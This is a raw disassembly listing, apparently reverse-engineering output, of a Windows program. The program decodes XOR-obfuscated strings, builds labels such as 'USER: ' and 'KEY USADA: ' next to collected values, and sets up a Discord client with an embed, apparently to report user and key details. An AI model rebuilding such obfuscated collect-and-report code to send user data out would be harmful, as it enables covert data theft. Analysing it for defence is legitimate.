mov dword [ebp - 0x1d64], eax
movaps xmm0, xmmword [0x500c40]
xor ecx, ecx
movups xmmword [ebp - 0x1c8c], xmm0
mov dword [ebp - 0x1c7c], 0x6a676c5c
mov dword [ebp - 0x1c78], 0x6a637a6b
mov dword [ebp - 0x1c74], 0x2f357d
nop
mov al, byte [ebp - 0x1c8c]
xor byte [ebp + ecx - 0x1c8b], al
inc ecx
cmp ecx, 0x1a
jb 0x465050
movaps xmm0, xmmword [str.8zY_S_JWMVkAV_]
xor ecx, ecx
mov byte [ebp - 0x1c71], 0
movups xmmword [ebp - 0x1e1c], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1e1c]
xor byte [ebp + ecx - 0x1e1b], al
inc ecx
cmp ecx, 0xe
jb 0x465080
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x20f8]
mov byte [ebp - 0x1e0d], 0
call fcn.0045c360
lea ecx, [ebp - 0x1e1b]
mov byte [ebp - 4], 0x42
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4650b8
sub ecx, edx
lea eax, [ebp - 0x1e1b]
push ecx
push eax
lea ecx, [ebp - 0x20f8]
call fcn.0045c380
movaps xmm0, xmmword [0x500d10]
xor ecx, ecx
movups xmmword [ebp - 0x1c54], xmm0
mov dword [ebp - 0x1c44], 0x476f7d74
mov dword [ebp - 0x1c40], 0x7f7e7e5d
mov word [ebp - 0x1c3c], 0x68
mov al, byte [ebp - 0x1c54]
xor byte [ebp + ecx - 0x1c53], al
inc ecx
cmp ecx, 0x18
jb 0x465101
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2110]
mov byte [ebp - 0x1c3b], 0
call fcn.0045c360
lea ecx, [ebp - 0x1c53]
mov byte [ebp - 4], 0x44
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465140
sub ecx, edx
lea eax, [ebp - 0x1c53]
push ecx
push eax
lea ecx, [ebp - 0x2110]
call fcn.0045c380
lea eax, [ebp - 0x20f8]
mov byte [ebp - 4], 0x45
push eax
lea edx, [ebp - 0x2110]
lea ecx, [ebp - 0x2998]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1da8], eax
movaps xmm0, xmmword [0x4ffc10]
xor ecx, ecx
movups xmmword [ebp - 0x1dd0], xmm0
mov word [ebp - 0x1dc0], 0x6d77
mov byte [ebp - 0x1dbe], 0
mov al, byte [ebp - 0x1dd0]
xor byte [ebp + ecx - 0x1dcf], al
inc ecx
cmp ecx, 0x11
jb 0x4651a1
mov byte [ebp - 0x1dbe], 0
mov dl, 0x38
mov dword [ebp - 0x1b90], 0x684f7038
xor ecx, ecx
mov dword [ebp - 0x1b8c], 0x515e574a
mov dword [ebp - 0x1b88], 0x4d7f5d54
mov word [ebp - 0x1b84], 0x5c51
mov byte [ebp - 0x1b82], 0
nop dword [eax]
lea eax, [ebp - 0x1b8f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x465207
mov dl, byte [ebp - 0x1b90]
jmp 0x4651f0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2128]
mov byte [ebp - 0x1b82], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b8f]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465230
sub ecx, edx
lea eax, [ebp - 0x1b8f]
push ecx
push eax
lea ecx, [ebp - 0x2128]
call fcn.0045c380
movaps xmm0, xmmword [0x4ffc20]
xor ecx, ecx
movups xmmword [ebp - 0x2008], xmm0
mov dword [ebp - 0x1fc8], 0x5d5c5c
movaps xmm0, xmmword [0x4feeb0]
movups xmmword [ebp - 0x1ff8], xmm0
movaps xmm0, xmmword [0x4ff820]
movups xmmword [ebp - 0x1fe8], xmm0
movaps xmm0, xmmword [0x500a20]
movups xmmword [ebp - 0x1fd8], xmm0
mov al, byte [ebp - 0x2008]
xor byte [ebp + ecx - 0x2007], al
inc ecx
cmp ecx, 0x42
jb 0x465290
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2080]
mov byte [ebp - 0x1fc5], 0
call fcn.0045c360
lea ecx, [ebp - 0x2007]
mov byte [ebp - 4], 0x49
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4652c8
sub ecx, edx
lea eax, [ebp - 0x2007]
push ecx
push eax
lea ecx, [ebp - 0x2080]
call fcn.0045c380
lea eax, [ebp - 0x2128]
mov byte [ebp - 4], 0x4a
push eax
lea edx, [ebp - 0x2080]
lea ecx, [ebp - 0x26e0]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1da4], eax
movaps xmm0, xmmword [0x4ff730]
xor ecx, ecx
movups xmmword [ebp - 0x1df8], xmm0
mov word [ebp - 0x1de8], 1
mov al, byte [ebp - 0x1df8]
xor byte [ebp + ecx - 0x1df7], al
inc ecx
cmp ecx, 0x10
jb 0x465322
mov byte [ebp - 0x1de7], 0
mov dl, 0x64
mov dword [ebp - 0x1b54], 0x7052964
xor ecx, ecx
mov dword [ebp - 0x1b50], 0x10a0d0c
mov dword [ebp - 0x1b4c], 0xd1123
mov byte [ebp - 0x1b48], 0
lea eax, [ebp - 0x1b53]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x46537c
mov dl, byte [ebp - 0x1b54]
jmp 0x465365
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2068]
mov byte [ebp - 0x1b48], 0
call fcn.0045c360
lea ecx, [ebp - 0x1b53]
mov byte [ebp - 4], 0x4c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4653a1
sub ecx, edx
lea eax, [ebp - 0x1b53]
push ecx
push eax
lea ecx, [ebp - 0x2068]
call fcn.0045c380
movaps xmm0, xmmword [str.h_.___:_4_]
xor ecx, ecx
movups xmmword [ebp - 0x1fa8], xmm0
mov byte [ebp - 0x1f88], 0
movaps xmm0, xmmword [0x4ff220]
movups xmmword [ebp - 0x1f98], xmm0
mov al, byte [ebp - 0x1fa8]
xor byte [ebp + ecx - 0x1fa7], al
inc ecx
cmp ecx, 0x1f
jb 0x4653e2
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2050]
mov byte [ebp - 0x1f88], 0
call fcn.0045c360
lea ecx, [ebp - 0x1fa7]
mov byte [ebp - 4], 0x4e
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x465420
sub ecx, edx
lea eax, [ebp - 0x1fa7]
push ecx
push eax
lea ecx, [ebp - 0x2050]
call fcn.0045c380
lea eax, [ebp - 0x2068]
mov byte [ebp - 4], 0x4f
push eax
lea edx, [ebp - 0x2050]
lea ecx, [ebp - 0x26c8]
call fcn.004629f0
add esp, 4
mov dword [ebp - 0x1da0], eax
mov byte [ebp - 4], 0x50
xor ecx, ecx
movaps xmm0, xmmword [str.FL_v_.__]
movups xmmword [ebp - 0x1e78], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1e78]
xor byte [ebp + ecx - 0x1e77], al
inc ecx
cmp ecx, 0xe
jb 0x465480
lea ecx, [ebp - 0x26b0]
mov byte [ebp - 0x1e69], 0
call fcn.004607a0
mov ecx, eax
mov byte [ebp - 4], 0x51
call fcn.00463ca0
mov edx, eax
lea ecx, [ebp - 0x2320]
call fcn.0045f2a0
mov byte [ebp - 4], 0x52
xor ecx, ecx
movaps xmm0, xmmword [0x4ff2a0]
movups xmmword [ebp - 0x1d94], xmm0
mov dword [ebp - 0x1d84], 0x617b09
nop dword [eax + eax]
mov al, byte [ebp - 0x1d94]
xor byte [ebp + ecx - 0x1d93], al
inc ecx
cmp ecx, 0x12
jb 0x4654e0
lea ecx, [ebp - 0x2698]
mov byte [ebp - 0x1d81], 0
call fcn.004607a0
mov dword [ebp - 0x1d9c], eax
mov byte [ebp - 4], 0x53
mov dl, 9
mov dword [ebp - 0x1bd8], 0x5d440309
xor ecx, ecx
mov dword [ebp - 0x1bd4], 0x4c5a2448
mov dword [ebp - 0x1bd0], 0x4548405b
mov word [ebp - 0x1bcc], 0x2933
mov byte [ebp - 0x1bca], 0
lea eax, [ebp - 0x1bd7]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x465558
mov dl, byte [ebp - 0x1bd8]
jmp 0x465541
lea ecx, [ebp - 0x2680]
mov byte [ebp - 0x1bca], 0
call fcn.004605e0
mov ecx, eax
mov byte [ebp - 4], 0x54
call fcn.00463ca0
mov edx, eax
lea ecx, [ebp - 0x2308]
call fcn.0045f2a0
mov byte [ebp - 4], 0x55
mov dl, 0x71
mov dword [ebp - 0x1bb0], 0x303c7b71
xor ecx, ecx
mov dword [ebp - 0x1bac], 0x30395c32
mov dword [ebp - 0x1ba8], 0x514b3922
mov byte [ebp - 0x1ba4], 0
nop
lea eax, [ebp - 0x1baf]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x4655c7
mov dl, byte [ebp - 0x1bb0]
jmp 0x4655b0
lea ecx, [ebp - 0x2398]
mov byte [ebp - 0x1ba4], 0
call fcn.004605e0
mov byte [ebp - 4], 0x56
mov al, 0x1e
mov byte [ebp - 0x1b20], 0x14
mov cl, 0x59
xor al, byte [ebp - 0x1b20]
mov ch, 0x2e
mov byte [ebp - 0x1b1f], al
mov dl, 0x55
mov al, byte [ebp - 0x1b20]
mov ah, 0x57
xor cl, al
mov byte [ebp - 0x1b19], 0
xor ch, al
mov byte [ebp - 0x1b1e], cl
mov dh, 0x34
mov byte [ebp - 0x1b1b], ch
xor dl, al
mov byte [ebp - 0x1b19], 0
xor ah, al
mov byte [ebp - 0x1b1d], dl
xor dh, al
mov byte [ebp - 0x1b1c], ah
lea ecx, [ebp - 0x2668]
mov byte [ebp - 0x1b1a], dh
call fcn.00462fd0
mov dword [ebp - 0x1d98], eax
mov byte [ebp - 4], 0x57
mov ah, 0x2a
mov cl, 0x20
mov byte [ebp - 0x1bc2], 0
mov ch, 0x7a
mov byte [ebp - 0x1bc8], ah
mov dl, 0x63
mov byte [ebp - 0x1bc2], 0
xor dl, ah
mov dword [ebp - 0x1be8], 0xb367973
mov dh, 0x10
mov byte [ebp - 0x1bc6], dl
mov al, 0xa
mov dword [ebp - 0x1be4], 0x7061016
xor cl, ah
mov dword [ebp - 0x1be0], 0x161f1112
xor ch, ah
mov byte [ebp - 0x1bc7], cl
xor dh, ah
mov byte [ebp - 0x1bc5], ch
xor al, ah
mov byte [ebp - 0x1bc4], dh
mov byte [ebp - 0x1bc3], al
mov dl, 0x73
mov word [ebp - 0x1bdc], 0x5349
xor ecx, ecx
mov byte [ebp - 0x1bda], 0
nop word [eax + eax]
lea eax, [ebp - 0x1be7]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x4656e7
mov dl, byte [ebp - 0x1be8]
jmp 0x4656d0
lea ecx, [ebp - 0x2650]
mov byte [ebp - 0x1bda], 0
call fcn.00462c70
mov edi, eax
mov byte [ebp - 4], 0x58
xor ecx, ecx
movaps xmm0, xmmword [0x501160]
movups xmmword [ebp - 0x1e30], xmm0
mov byte [ebp - 0x1e20], 0
nop word [eax + eax]
mov al, byte [ebp - 0x1e30]
xor byte [ebp + ecx - 0x1e2f], al
inc ecx
cmp ecx, 0xf
jb 0x465720
lea ecx, [ebp - 0x2638]
mov byte [ebp - 0x1e20], 0
call fcn.00462bd0
mov dword [ebp - 0x1d80], eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x1a28]
push 0x60
mov byte [ebp - 0x1a28], 0x46
call fcn.0045b980
push 0x60
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a27], al
call fcn.0045b980
push 0x60
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a26], al
call fcn.0045b980
push 0x46
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a25], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a24], al
call fcn.0045b980
push 0x78
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a23], al
call fcn.0045b980
push 0xa
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a22], al
call fcn.0045b980
push 0x55
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a21], al
call fcn.0045b980
push 0x53
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a20], al
call fcn.0045b980
push 0x45
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1f], al
call fcn.0045b980
push 0x52
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1e], al
call fcn.0045b980
push 0x3a
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1d], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1c], al
call fcn.0045b980
mov byte [ebp - 0x1a1b], al
xor esi, esi
mov byte [ebp - 0x1a1a], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x1a27]
call fcn.0045b970
lea ecx, [ebp - 0x1a28]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1a27]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xd
jb 0x465860
push 0xd
lea ecx, [ebp - 0x1a27]
call fcn.0045b970
lea ecx, [ebp - 0x1a27]
mov byte [eax], 0
call fcn.0045b960
push dword [ebp - 0x1d80]
mov edx, eax
lea ecx, [ebp - 0x2620]
call fcn.0045bf50
add esp, 4
lea ecx, [ebp - 0x1e2f]
mov byte [ebp - 4], 0x5a
push ecx
mov edx, eax
lea ecx, [ebp - 0x2608]
call fcn.0045c0b0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x25f0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1be7]
mov byte [ebp - 4], 0x5c
push ecx
mov edx, eax
lea ecx, [ebp - 0x25d8]
call fcn.0045c0b0
add esp, 4
push 0x587afc
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x25c0]
call fcn.0045c190
add esp, 4
lea ecx, [ebp - 0x1bc7]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x25a8]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d98]
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2590]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1b1f]
mov byte [ebp - 4], 0x60
push ecx
mov edx, eax
lea ecx, [ebp - 0x2578]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x2398]
mov byte [ebp - 4], 0x61
push ecx
mov edx, eax
lea ecx, [ebp - 0x2560]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1baf]
mov byte [ebp - 4], 0x62
push ecx
mov edx, eax
lea ecx, [ebp - 0x2548]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x2308]
mov byte [ebp - 4], 0x63
push ecx
mov edx, eax
lea ecx, [ebp - 0x2530]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1bd7]
mov byte [ebp - 4], 0x64
push ecx
mov edx, eax
lea ecx, [ebp - 0x2518]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d9c]
mov edx, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x2500]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1d93]
mov byte [ebp - 4], 0x66
push ecx
mov edx, eax
lea ecx, [ebp - 0x24e8]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x2320]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x24d0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e77]
mov byte [ebp - 4], 0x68
push ecx
mov edx, eax
lea ecx, [ebp - 0x24b8]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1da0]
mov edx, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x24a0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1df7]
mov byte [ebp - 4], 0x6a
push ecx
mov edx, eax
lea ecx, [ebp - 0x2488]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1da4]
mov edx, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x2470]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1dcf]
mov byte [ebp - 4], 0x6c
push ecx
mov edx, eax
lea ecx, [ebp - 0x2458]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1da8]
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x2440]
mov edx, eax
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1c8b]
mov byte [ebp - 4], 0x6e
push ecx
mov edx, eax
lea ecx, [ebp - 0x2428]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d64]
mov edx, eax
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x2410]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e43]
mov byte [ebp - 4], 0x70
push ecx
mov edx, eax
lea ecx, [ebp - 0x23f8]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x1dbb]
mov byte [ebp - 4], 0x71
push ecx
mov edx, eax
lea ecx, [ebp - 0x23e0]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d68]
mov edx, eax
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x23c8]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1b7f]
mov byte [ebp - 4], 0x73
push ecx
mov edx, eax
lea ecx, [ebp - 0x23b0]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d6c]
mov edx, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x2bc0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1d47]
mov byte [ebp - 4], 0x75
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ba8]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d70]
mov edx, eax
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x2b90]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e87]
mov byte [ebp - 4], 0x77
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b78]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d74]
mov byte [ebp - 4], 0x78
mov edx, eax
lea ecx, [ebp - 0x2b60]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e57]
mov byte [ebp - 4], 0x79
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b48]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d78]
mov edx, eax
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x2b30]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1cd7]
mov byte [ebp - 4], 0x7b
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b18]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1d7c]
mov edx, eax
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x2b00]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1d1b]
mov byte [ebp - 4], 0x7d
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ae8]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bf8]
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x2ad0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1bbf]
mov byte [ebp - 4], 0x7f
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ab8]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bf4]
mov edx, eax
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0x2aa0]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e0b]
mov byte [ebp - 4], 0x81
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a88]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bf0]
mov edx, eax
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x2a70]
call fcn.0045c170
add esp, 4
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x1d5f]
mov edx, eax
push ecx
lea ecx, [ebp - 0x2a58]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x1cef]
mov byte [ebp - 4], 0x84
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a40]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x1bec]
mov edx, eax
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x2a28]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1e67]
mov byte [ebp - 4], 0x86
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a10]
call fcn.0045c0b0
add esp, 4
push dword [ebp - 0x19fc]
mov edx, eax
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x29f8]
call fcn.0045c170
add esp, 4
lea ecx, [ebp - 0x1b33]
mov byte [ebp - 4], 0x88
push ecx
mov edx, eax
lea ecx, [ebp - 0x29e0]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.0045bb60
lea ecx, [ebp - 0x29e0]
call fcn.0045bb10
lea ecx, [ebp - 0x29f8]
call fcn.0045bb10
lea ecx, [ebp - 0x2a10]
call fcn.0045bb10
lea ecx, [ebp - 0x2a28]
call fcn.0045bb10
lea ecx, [ebp - 0x2a40]
call fcn.0045bb10
lea ecx, [ebp - 0x2a58]
call fcn.0045bb10
lea ecx, [ebp - 0x2a70]
call fcn.0045bb10
lea ecx, [ebp - 0x2a88]
call fcn.0045bb10
lea ecx, [ebp - 0x2aa0]
call fcn.0045bb10
lea ecx, [ebp - 0x2ab8]
call fcn.0045bb10
lea ecx, [ebp - 0x2ad0]
call fcn.0045bb10
lea ecx, [ebp - 0x2ae8]
call fcn.0045bb10
lea ecx, [ebp - 0x2b00]
call fcn.0045bb10
lea ecx, [ebp - 0x2b18]
call fcn.0045bb10
lea ecx, [ebp - 0x2b30]
call fcn.0045bb10
lea ecx, [ebp - 0x2b48]
call fcn.0045bb10
lea ecx, [ebp - 0x2b60]
call fcn.0045bb10
lea ecx, [ebp - 0x2b78]
call fcn.0045bb10
lea ecx, [ebp - 0x2b90]
call fcn.0045bb10
lea ecx, [ebp - 0x2ba8]
call fcn.0045bb10
lea ecx, [ebp - 0x2bc0]
call fcn.0045bb10
lea ecx, [ebp - 0x23b0]
call fcn.0045bb10
lea ecx, [ebp - 0x23c8]
call fcn.0045bb10
lea ecx, [ebp - 0x23e0]
call fcn.0045bb10
lea ecx, [ebp - 0x23f8]
call fcn.0045bb10
lea ecx, [ebp - 0x2410]
call fcn.0045bb10
lea ecx, [ebp - 0x2428]
call fcn.0045bb10
lea ecx, [ebp - 0x2440]
call fcn.0045bb10
lea ecx, [ebp - 0x2458]
call fcn.0045bb10
lea ecx, [ebp - 0x2470]
call fcn.0045bb10
lea ecx, [ebp - 0x2488]
call fcn.0045bb10
lea ecx, [ebp - 0x24a0]
call fcn.0045bb10
lea ecx, [ebp - 0x24b8]
call fcn.0045bb10
lea ecx, [ebp - 0x24d0]
call fcn.0045bb10
lea ecx, [ebp - 0x24e8]
call fcn.0045bb10
lea ecx, [ebp - 0x2500]
call fcn.0045bb10
lea ecx, [ebp - 0x2518]
call fcn.0045bb10
lea ecx, [ebp - 0x2530]
call fcn.0045bb10
lea ecx, [ebp - 0x2548]
call fcn.0045bb10
lea ecx, [ebp - 0x2560]
call fcn.0045bb10
lea ecx, [ebp - 0x2578]
call fcn.0045bb10
lea ecx, [ebp - 0x2590]
call fcn.0045bb10
lea ecx, [ebp - 0x25a8]
call fcn.0045bb10
lea ecx, [ebp - 0x25c0]
call fcn.0045bb10
lea ecx, [ebp - 0x25d8]
call fcn.0045bb10
lea ecx, [ebp - 0x25f0]
call fcn.0045bb10
lea ecx, [ebp - 0x2608]
call fcn.0045bb10
lea ecx, [ebp - 0x2620]
call fcn.0045bb10
lea ecx, [ebp - 0x2638]
call fcn.0045bb10
lea ecx, [ebp - 0x2650]
call fcn.0045bb10
lea ecx, [ebp - 0x2668]
call fcn.0045bb10
lea ecx, [ebp - 0x2398]
call fcn.0045bb10
lea ecx, [ebp - 0x2308]
call fcn.0045bb10
lea ecx, [ebp - 0x2680]
call fcn.0045bb10
lea ecx, [ebp - 0x2698]
call fcn.0045bb10
lea ecx, [ebp - 0x2320]
call fcn.0045bb10
lea ecx, [ebp - 0x26b0]
call fcn.0045bb10
lea ecx, [ebp - 0x26c8]
call fcn.0045bb10
lea ecx, [ebp - 0x2050]
call fcn.0045bb10
lea ecx, [ebp - 0x2068]
call fcn.0045bb10
lea ecx, [ebp - 0x26e0]
call fcn.0045bb10
lea ecx, [ebp - 0x2080]
call fcn.0045bb10
lea ecx, [ebp - 0x2128]
call fcn.0045bb10
lea ecx, [ebp - 0x2998]
call fcn.0045bb10
lea ecx, [ebp - 0x2110]
call fcn.0045bb10
lea ecx, [ebp - 0x20f8]
call fcn.0045bb10
lea ecx, [ebp - 0x2710]
call fcn.0045bb10
lea ecx, [ebp - 0x20c8]
call fcn.0045bb10
lea ecx, [ebp - 0x2230]
call fcn.0045bb10
lea ecx, [ebp - 0x2728]
call fcn.0045bb10
lea ecx, [ebp - 0x2218]
call fcn.0045bb10
lea ecx, [ebp - 0x2290]
call fcn.0045bb10
lea ecx, [ebp - 0x2740]
call fcn.0045bb10
lea ecx, [ebp - 0x2200]
call fcn.0045bb10
lea ecx, [ebp - 0x21e8]
call fcn.0045bb10
lea ecx, [ebp - 0x2758]
call fcn.0045bb10
lea ecx, [ebp - 0x21d0]
call fcn.0045bb10
lea ecx, [ebp - 0x21b8]
call fcn.0045bb10
lea ecx, [ebp - 0x2770]
call fcn.0045bb10
lea ecx, [ebp - 0x21a0]
call fcn.0045bb10
lea ecx, [ebp - 0x2188]
call fcn.0045bb10
lea ecx, [ebp - 0x2788]
call fcn.0045bb10
lea ecx, [ebp - 0x2170]
call fcn.0045bb10
lea ecx, [ebp - 0x2158]
call fcn.0045bb10
lea ecx, [ebp - 0x27a0]
call fcn.0045bb10
lea ecx, [ebp - 0x2140]
call fcn.0045bb10
lea ecx, [ebp - 0x20e0]
call fcn.0045bb10
lea ecx, [ebp - 0x27b8]
call fcn.0045bb10
lea ecx, [ebp - 0x2248]
call fcn.0045bb10
lea ecx, [ebp - 0x2260]
call fcn.0045bb10
lea ecx, [ebp - 0x27d0]
call fcn.0045bb10
lea ecx, [ebp - 0x2278]
call fcn.0045bb10
lea ecx, [ebp - 0x22a8]
call fcn.0045bb10
lea ecx, [ebp - 0x27e8]
call fcn.0045bb10
lea ecx, [ebp - 0x22c0]
call fcn.0045bb10
lea ecx, [ebp - 0x22d8]
call fcn.0045bb10
lea ecx, [ebp - 0x2800]
call fcn.0045bb10
lea ecx, [ebp - 0x2098]
call fcn.0045bb10
lea ecx, [ebp - 0x20b0]
call fcn.0045bb10
lea ecx, [ebp - 0x2818]
mov byte [ebp - 4], 9
call fcn.0045bb10
call fcn.00463670
push 0x4ee7f6
lea ecx, [ebp - 0x2338]
mov dword [ebp - 0x1fc0], 0
mov dword [ebp - 0x1fbc], 0
call fcn.0045bc30
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 0x89
movq xmm0, qword [ebp - 0x1fc0]
lea ecx, [ebp - 0x19c8]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x2338]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x2338]
mov byte [ebp - 4], 0x8b
call fcn.0045bb10
lea ecx, [ebp - 0x3140]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::embed::constructor_void_]
push 0x99ff
mov ecx, eax
mov byte [ebp - 4], 0x8c
call dword [sym.imp.dpp.dll_public:_struct_dpp::embed____thiscall_dpp::embed::set_color_unsigned_int_]
push 0x4b
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a18], 0x6f
mov edi, eax
call fcn.0045b980
push 0x45
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a17], al
call fcn.0045b980
push 0x59
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a16], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a15], al
call fcn.0045b980
push 0x55
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a14], al
call fcn.0045b980
push 0x53
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a13], al
call fcn.0045b980
push 0x41
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a12], al
call fcn.0045b980
push 0x44
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a11], al
call fcn.0045b980
push 0x41
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a10], al
call fcn.0045b980
mov byte [ebp - 0x1a0f], al
lea ecx, [ebp - 0x1a18]
push 0x3a
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1a18]
mov byte [ebp - 0x1a0e], al
call fcn.0045b980
mov byte [ebp - 0x1a0d], al
